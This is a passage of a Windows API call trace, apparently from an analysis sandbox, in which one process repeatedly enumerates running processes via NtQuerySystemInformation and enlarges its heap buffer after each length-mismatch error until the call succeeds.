(HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0203.211] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0203.211] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0203.211] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0203.211] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0203.211] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0203.211] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0203.211] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0203.211] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0203.211] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0203.211] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0203.212] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0203.212] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0203.212] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0203.212] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0203.212] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0203.212] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0203.212] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0203.212] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0203.212] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0203.212] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0203.213] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0203.213] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0203.213] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0203.213] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0203.213] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0203.213] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0203.213] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0203.483] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0203.483] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0203.483] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0203.483] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0203.483] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0203.483] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0203.483] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0203.483] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0203.483] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0203.483] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0203.483] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0203.484] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0203.484] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0203.484] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0203.484] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0203.484] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0203.484] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0203.484] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0203.484] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0203.485] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0203.485] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0203.485] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0203.485] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0203.485] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0203.485] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0203.984] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0203.984] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0203.985] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0203.985] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0203.985] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0203.985] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0203.985] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0203.985] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0203.985] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0203.985] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0203.985] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0203.985] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0203.985] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0203.985] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0203.986] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0203.986] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0203.986] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0203.986] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0203.986] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0203.986] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0203.986] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0203.986] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0203.986] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0203.986] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0203.987] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0203.987] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0203.987] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0204.185] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0204.185] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0204.185] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0204.185] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0204.185] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0204.185] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0204.185] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0204.185] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0204.185] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0204.185] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0204.186] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0204.186] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0204.186] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0204.186] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.186] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0204.186] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.187] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0204.187] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.187] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0204.187] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.187] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0204.187] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.187] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0204.187] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.188] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0204.188] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0204.188] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0204.370] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0204.370] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0204.371] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0204.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0204.371] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0204.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0204.371] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0204.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0204.371] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0204.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0204.371] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0204.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0204.371] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0204.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.371] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0204.372] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.372] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0204.372] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.372] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0204.372] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.372] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0204.372] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.372] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0204.372] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.373] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0204.373] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.373] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0204.373] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0204.373] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0204.542] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0204.542] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0204.543] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0204.543] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0204.543] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0204.543] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0204.543] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0204.543] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0204.543] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0204.543] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0204.543] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0204.543] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0204.543] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0204.543] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.544] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0204.544] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.544] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0204.544] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.544] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0204.544] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.545] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0204.546] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.546] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0204.546] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.546] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0204.546] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.546] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0204.546] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0204.546] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0204.689] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0204.689] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0204.689] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0204.689] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0204.690] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0204.690] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0204.690] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0204.690] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0204.690] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0204.690] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0204.690] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0204.690] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0204.690] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0204.690] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, 